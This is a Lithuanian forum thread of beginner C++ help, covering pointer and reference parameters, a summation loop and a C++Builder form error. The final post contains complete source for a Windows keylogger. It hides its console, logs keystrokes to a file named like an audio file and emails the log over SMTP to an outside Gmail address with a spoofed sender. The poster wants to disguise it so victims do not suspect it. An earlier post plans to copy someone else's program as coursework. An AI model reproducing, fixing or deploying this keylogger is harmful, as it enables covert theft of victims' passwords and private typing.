C++

Žinutė
Autorius
brain5ide
profesionalas
profesionalas
Pranešimai: 2030
Užsiregistravo: 2004 12 01 19:05

#16 Standartinė brain5ide » 2006 03 27 23:10

Nelabai supratau, ko nori + man kolkas C++ yra pievos. pirmai paaiskinau C pavyzdziais. Jei aiskiau parasytum, gal ir dabar pavyktu kaip nors paaiskint.
Never argue with an idiot. They bring you down to their level and beat you with experience.

Vartotojo avataras
Trolis gumis
Crowbar Master
Pranešimai: 1980
Užsiregistravo: 2003 07 19 14:23

#17 Standartinė Trolis gumis » 2006 03 28 01:21

tame ir beda, kad cia pievos ir esa.
pats irgi nelabai raukiu, kas cia ka turi daryt.
rytoj bandymo budu stengsiuos daryt. gal kas tiks.

nzn, kad man ir destytuve kazkaip nesugeba isaiskint, ciuju kazka ne taip darau... :?

Vartotojo avataras
Trolis gumis
Crowbar Master
Pranešimai: 1980
Užsiregistravo: 2003 07 19 14:23

#18 Standartinė Trolis gumis » 2006 03 28 14:12

ok visai susinervinau. :x
parasykit kas nors trumpa pavyzdi, kaip is main funkcijos i isorine funkcija perduoti 4 kintamuosius, ir atgal i main pasiimt 2.

* kaip uzpesa, ir svarbiausiai, sake, kad cia siaip tik nereikalingos paskaitos, kuriu net pas mus programoj neturi buti :?

pvz:

Kodas: Pasirinkti visus

#include <iostream.h>
int daugyba(int skait, int vard, int *sk, int *vd);
void main()
{
	int skait, vard, *sk, *vd;
	sk=0;vd=0;
	skait=2;
	vard=3;
	daugyba( skait, vard, &sk, &vd);
	cout<<sk<<endl;
	cout<<vd<<endl;
}


int daugyba(int skait,int vard,int *sk,int *vd)
{
	sk=skait*2;
	vd=vard*2;
	return(0);
}
esmej: kas cia taisyt reikia? cia daugmaz is lempos padariau, ir ne velnio nenuraukiu, kur prie rodykliu reikia rasyt *, kur &, kur isvis neiko nereik.

Vartotojo avataras
Lioniax
ultra dalyvis
ultra dalyvis
Pranešimai: 596
Užsiregistravo: 2005 09 21 13:25

#19 Standartinė Lioniax » 2006 03 28 17:31

Tavo kodas (truputi pataisytas):

Kodas: Pasirinkti visus

#include <stdio.h>
#include <iostream>
using namespace std;

void daugyba(int skait,int vard,int &sk,int &vd) 
{ 
   sk=skait*2;
   vd=vard*2;
}

int main()
{ 
   int skait = 2, 
       vard = 3,
       sk = 0,
       vd = 0; 
   daugyba( skait, vard, sk, vd); 
   std::cout << sk << std::endl;
   std::cout << vd << std::endl;
   return 0;
}
kompiliavimas:

Kodas: Pasirinkti visus

lioniax@browser:~/Desktop$ g++ a.cpp
rezultatas, ivykdzius programa:

Kodas: Pasirinkti visus

lioniax@browser:~/Desktop$ ./a.out
4
6
Mūsų darbas tamsoje -
Mes darome tai, ką mokam,
Atiduodame tai, ką mokam,
Mūsų darbas - tamsoje.
Abejonės virto aistra,
Aistra gi - ištirpo laisvėje.
Visa kita - menas
Išlikt savim beprotybėje.

Vartotojo avataras
Trolis gumis
Crowbar Master
Pranešimai: 1980
Užsiregistravo: 2003 07 19 14:23

#20 Standartinė Trolis gumis » 2006 03 28 18:07

dekui smarkiai labai, dabar bandysiu perkelt panasia forma i savo didesne programa, gal iseis. o jeigu neiseis, radau nete butent tokia programa, kuria reikia padaryt uzduociai(trupmenu kalkuliatoriu). ciuju jeigu paciam nesigaus padaryt originaliai, tai kopinsiuos ana, bandysiu suprast kas ir kur, keist kintamuosius, pavadinimus, paprastint, ir nest destytuvei :lol:

Vartotojo avataras
YouR_EneMy
jaunasis rašytojas
jaunasis rašytojas
Pranešimai: 85
Užsiregistravo: 2005 10 16 17:02
Miestas: Siauliai

#21 Standartinė YouR_EneMy » 2006 11 01 15:44

truputi helpo reiktu kaip c++ kalba pasirasyt sita formule kaip sita Σ - suma parasyt.
Paveikslėlis
If You Walue Your Life Dont Mess With Me :D
Paveikslėlis

Vartotojo avataras
Lioniax
ultra dalyvis
ultra dalyvis
Pranešimai: 596
Užsiregistravo: 2005 09 21 13:25

#22 Standartinė Lioniax » 2006 11 01 18:05

Kodas: Pasirinkti visus

for(int i = 0; i <= 9; i++) { y += a[i] * b[i]; }
kazkas tokio...
Mūsų darbas tamsoje -
Mes darome tai, ką mokam,
Atiduodame tai, ką mokam,
Mūsų darbas - tamsoje.
Abejonės virto aistra,
Aistra gi - ištirpo laisvėje.
Visa kita - menas
Išlikt savim beprotybėje.

Vartotojo avataras
YouR_EneMy
jaunasis rašytojas
jaunasis rašytojas
Pranešimai: 85
Užsiregistravo: 2005 10 16 17:02
Miestas: Siauliai

#23 Standartinė YouR_EneMy » 2006 11 01 18:15

Lioniax rašė:

Kodas: Pasirinkti visus

for(int i = 0; i <= 9; i++) { y += a[i] * b[i]; }
kazkas tokio...
gerai supratau iki y ,o kam tas y dar pridedamas ?
If You Walue Your Life Dont Mess With Me :D
Paveikslėlis

Vartotojo avataras
Lioniax
ultra dalyvis
ultra dalyvis
Pranešimai: 596
Užsiregistravo: 2005 09 21 13:25

#24 Standartinė Lioniax » 2006 11 01 20:09

Paveikslėlis
pas tave y yra visu a ir b sandaugu (nuo 0 iki 9 imtinai) suma:

Kodas: Pasirinkti visus

y = (a1 * b1) + (a2 * b2) + (a3 * b3) + ... + (an * bn), kai n = 9;
todel prie y cikle kiekviena karta prideda vis nauja sandauga...
va taip gal suprantamiau bus:

Kodas: Pasirinkti visus

 
double y = 0;
for(int i = 0; i <= 9; i++) { y = y + (a[i] * b[i]); } 
Mūsų darbas tamsoje -
Mes darome tai, ką mokam,
Atiduodame tai, ką mokam,
Mūsų darbas - tamsoje.
Abejonės virto aistra,
Aistra gi - ištirpo laisvėje.
Visa kita - menas
Išlikt savim beprotybėje.

Vartotojo avataras
YouR_EneMy
jaunasis rašytojas
jaunasis rašytojas
Pranešimai: 85
Užsiregistravo: 2005 10 16 17:02
Miestas: Siauliai

#25 Standartinė YouR_EneMy » 2006 11 01 21:54

Lioniax rašė:Paveikslėlis
pas tave y yra visu a ir b sandaugu (nuo 0 iki 9 imtinai) suma:

Kodas: Pasirinkti visus

y = (a1 * b1) + (a2 * b2) + (a3 * b3) + ... + (an * bn), kai n = 9;
todel prie y cikle kiekviena karta prideda vis nauja sandauga...
va taip gal suprantamiau bus:

Kodas: Pasirinkti visus

 
double y = 0;
for(int i = 0; i <= 9; i++) { y = y + (a[i] * b[i]); } 
jo supratau ACIU uz pagalba :wink:
If You Walue Your Life Dont Mess With Me :D
Paveikslėlis

Vartotojo avataras
Deaf
nuolatinis dalyvis
nuolatinis dalyvis
Pranešimai: 25
Užsiregistravo: 2007 01 04 17:31

#26 Standartinė Deaf » 2007 02 23 12:04

Kodas: Pasirinkti visus

//---------------------------------------------------------------------------

#ifndef Unit1H
#define Unit1H
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{__published:	                      // IDE-managed Components
	TStaticText *StaticText1;     // Da˛omas komponentas
	TButton *Button1;             // ˛alias
	TButton *Button2;             // raudonas
	TButton *Button3;             // baigti
	void__fastcall Button1Click(TObject *Sender);
	void__fastcall Button2Click(TObject *Sender);
	Void__fastcall Button3Click(TObject *Sender);
private:	// User declarations
public:		// User declarations
        __fastcall TForm1(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif
Gal kas zinot kas negerai kai paspaudi kad kompiliuotu raso error in module Unit1 : incorect field declaration in class TForm 1. Paskui pazymi vieta po button1Click (tai ten klaida? parasiau viska kaip knygoi turetu but gerai )
Ir dar noreciau paklaust ar c nuo c++ labai skiriasi (jei pvz moki viena su kita galeis ka nors padaryt ar nelabai).

Vartotojo avataras
^Paulius^
ultra dalyvis
ultra dalyvis
Pranešimai: 718
Užsiregistravo: 2006 10 02 13:52
Miestas: Kaunas
Susisiekti:

#27 Standartinė ^Paulius^ » 2007 02 23 13:07

Deaf rašė: Ir dar noreciau paklaust ar c nuo c++ labai skiriasi (jei pvz moki viena su kita galeis ka nors padaryt ar nelabai).
C++ yra C patobulinimas. Reiktu pasimokyti funkciju pavadinimus, o siaip pagrinde panasu. :roll:

brain5ide
profesionalas
profesionalas
Pranešimai: 2030
Užsiregistravo: 2004 12 01 19:05

#28 Standartinė brain5ide » 2007 02 23 17:08

Labai jau didelis patobulinimas, jeigu visa kalbos logika nuo procedūrinės(funkcinės) permetama ant objektinės.
Never argue with an idiot. They bring you down to their level and beat you with experience.

SwaDDie
garbės narys
garbės narys
Pranešimai: 204
Užsiregistravo: 2006 04 14 21:59

Style dilema

#29 Standartinė SwaDDie » 2007 09 11 17:52

taigi radau sena keyloga C# 4 metu senumo, veike puikiai bet No Style, todel daug kas suprasdavo kad tai pinkles.
Kompiliatorius: Dev-C++
Dabar dirbu su C++ ir prisiminiau ta keyloga, pakuriau style :) su minimize funkcija tt...
Prijungiu keylogo source log.cpp
pvz:
#include "I:\Vieta\log.cpp"
kas nutinka pakimba kompiliniams ties

Kodas: Pasirinkti visus

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*If you don't know the mail exchange server for an address for the following 
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for 
whatever email address you want. YOU MUST CHANGE  THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "lopso900@gmail.com"
#define cemailfrom "agentsmith@fbi.gov"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"
 
int get_keys(void);
int test_key(void);
int main(void)
{
   //Uncomment the lines below to put the keylogger in stealh mode.
   HWND stealth; /*creating stealth */
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);
   
   {FILE *file;
   file=fopen(FileName,"a+");
   time_t theTime=time(0);
   fputs("\nStarted logging: ", file);
   fputs(ctime(&theTime),file);
   fclose(file);
   }
   
   /* if (test==2)
    {//the path in which the file needs to be
    char *path="c:\\%windir%\\svchost.exe";
    create=create_key(path);          
    } */
   
   int t = get_keys();    
   return t;
}  
 
int get_keys()
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");
 
 
           short character;
             while(1)
             {
                    Sleep(10);/*to prevent 100% cpu usage*/
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  
                            FILE *file;
                            file=fopen(FileName,"a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }            
                            if(file!=NULL)
                            {        
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;    
                                              case VK_SHIFT:
                                              fputs("\r\n[SHIFT]\r\n",file);
                                              fclose(file);
                                              break;                                            
                                              case VK_RETURN:
                                              fputs("\r\n[ENTER]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_BACK:
                                              fputs("\r\n[BACKSPACE]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_TAB:
                                              fputs("\r\n[TAB]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_CONTROL:
                                              fputs("\r\n[CTRL]\r\n",file);
                                              fclose(file);
                                              break;    
                                              case VK_DELETE:
                                              fputs("\r\n[DEL]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_1:
                                              fputs("\r\n[;:]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_2:
                                              fputs("\r\n[/?]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_3:
                                              fputs("\r\n[`~]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_4:
                                              fputs("\r\n[ [{ ]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_5:
                                              fputs("\r\n[\\|]\r\n",file);
                                              fclose(file);
                                              break;                                
                                              case VK_OEM_6:
                                              fputs("\r\n[ ]} ]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_7:
                                              fputs("\r\n['\"]\r\n",file);
                                              fclose(file);
                                              break;
                                              case 187:
                                              fputc('+',file);
                                              fclose(file);
                                              break;
                                              case 188:
                                              fputc(',',file);
                                              fclose(file);
                                              break;
                                              case 189:
                                              fputc('-',file);
                                              fclose(file);
                                              break;
                                              case 190:
                                              fputc('.',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD0:
                                              fputc('0',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',file);
                                              fclose(file);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("\r\n[CAPS LOCK]\r\n",file);
                                              fclose(file);
                                              break;
                                              default:
                                              fclose(file);
                                              break;
                                       }        
                                  }    
                             }        
                   }    
               }                  
           FILE *file;
           file=fopen(FileName,"rb");
           fseek(file,0,SEEK_END); //go to end
           len=ftell(file); //get position at end (length)
           if(len>=LogLength) {
             fseek(file,0,SEEK_SET);//go to beg.
             buf=(char *)malloc(len);//malloc buffer
             freadindex=fread(buf,1,len,file);//read into buffer
             buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
             MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
             fclose(file);
             file=fopen(FileName,"w");                        
             }
           
            fclose(file);
            //free (buf);
                 
           }
           return EXIT_SUCCESS;                            
}
 
int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage) {
    [color=red]SOCKET sockfd;
    WSADATA wsaData;[/color]
    FILE *smtpfile;
    
    #define bufsize 300
    int bytes_sent;   /* Sock FD */
    int err;
    struct hostent *host;   /* info from gethostbyname */
    struct sockaddr_in dest_addr;   /* Host Address */
    char line[1000];
    char *Rec_Buf = (char*) malloc(bufsize+1);
    smtpfile=fopen(SMTPLog,"a+");
    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
      fputs("WSAStartup failed",smtpfile);
      WSACleanup();
      return -1;
    }
    if ( (host=gethostbyname(mailserver)) == NULL) {
       perror("gethostbyname");
       exit(1);
    }
    memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
 
     /* Prepare dest_addr */
     dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
     dest_addr.sin_port= htons(25); /* PORT defined above */
 
     /* Get socket */
 
     if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
        perror("socket");
        exit(1);
        }
     /* Connect !*/
     fputs("Connecting....\n",smtpfile);
 
    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
        perror("connect");
        exit(1);
        }
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"helo me.somepalace.com\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"MAIL FROM:<");
     strncat(line,emailfrom,strlen(emailfrom));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"RCPT TO:<");
     strncat(line,emailto,strlen(emailto));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"DATA\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     Sleep(waittime);
     strcpy(line,"To:");
     strcat(line,emailto);
     strcat(line,"\n");
     strcat(line,"From:");
     strcat(line,emailfrom);
     strcat(line,"\n");
     strcat(line,"Subject:");
     strcat(line,emailsubject);
     strcat(line,"\n");
     strcat(line,emailmessage);
     strcat(line,"\r\n.\r\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"quit\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     fclose(smtpfile);                          
     #ifdef WIN32
     closesocket(sockfd);
     WSACleanup();
     #else
     close(sockfd);
     #endif
}
Bandau alibi B versija C++ Projekta metu i Dev-C++ kompiliatoriu, tenai isvis neatpazysta Style, bet keylogeri Kompilina?
Kur saknis :)?
Jau knisuos 3 diena ir nesuprantu kodel netinka tas SOCKET...

Skelbti atsakymą

Grįžti į

Dabar prisijungę

Vartotojai naršantys šį forumą: 1 ir 0 svečias(ių)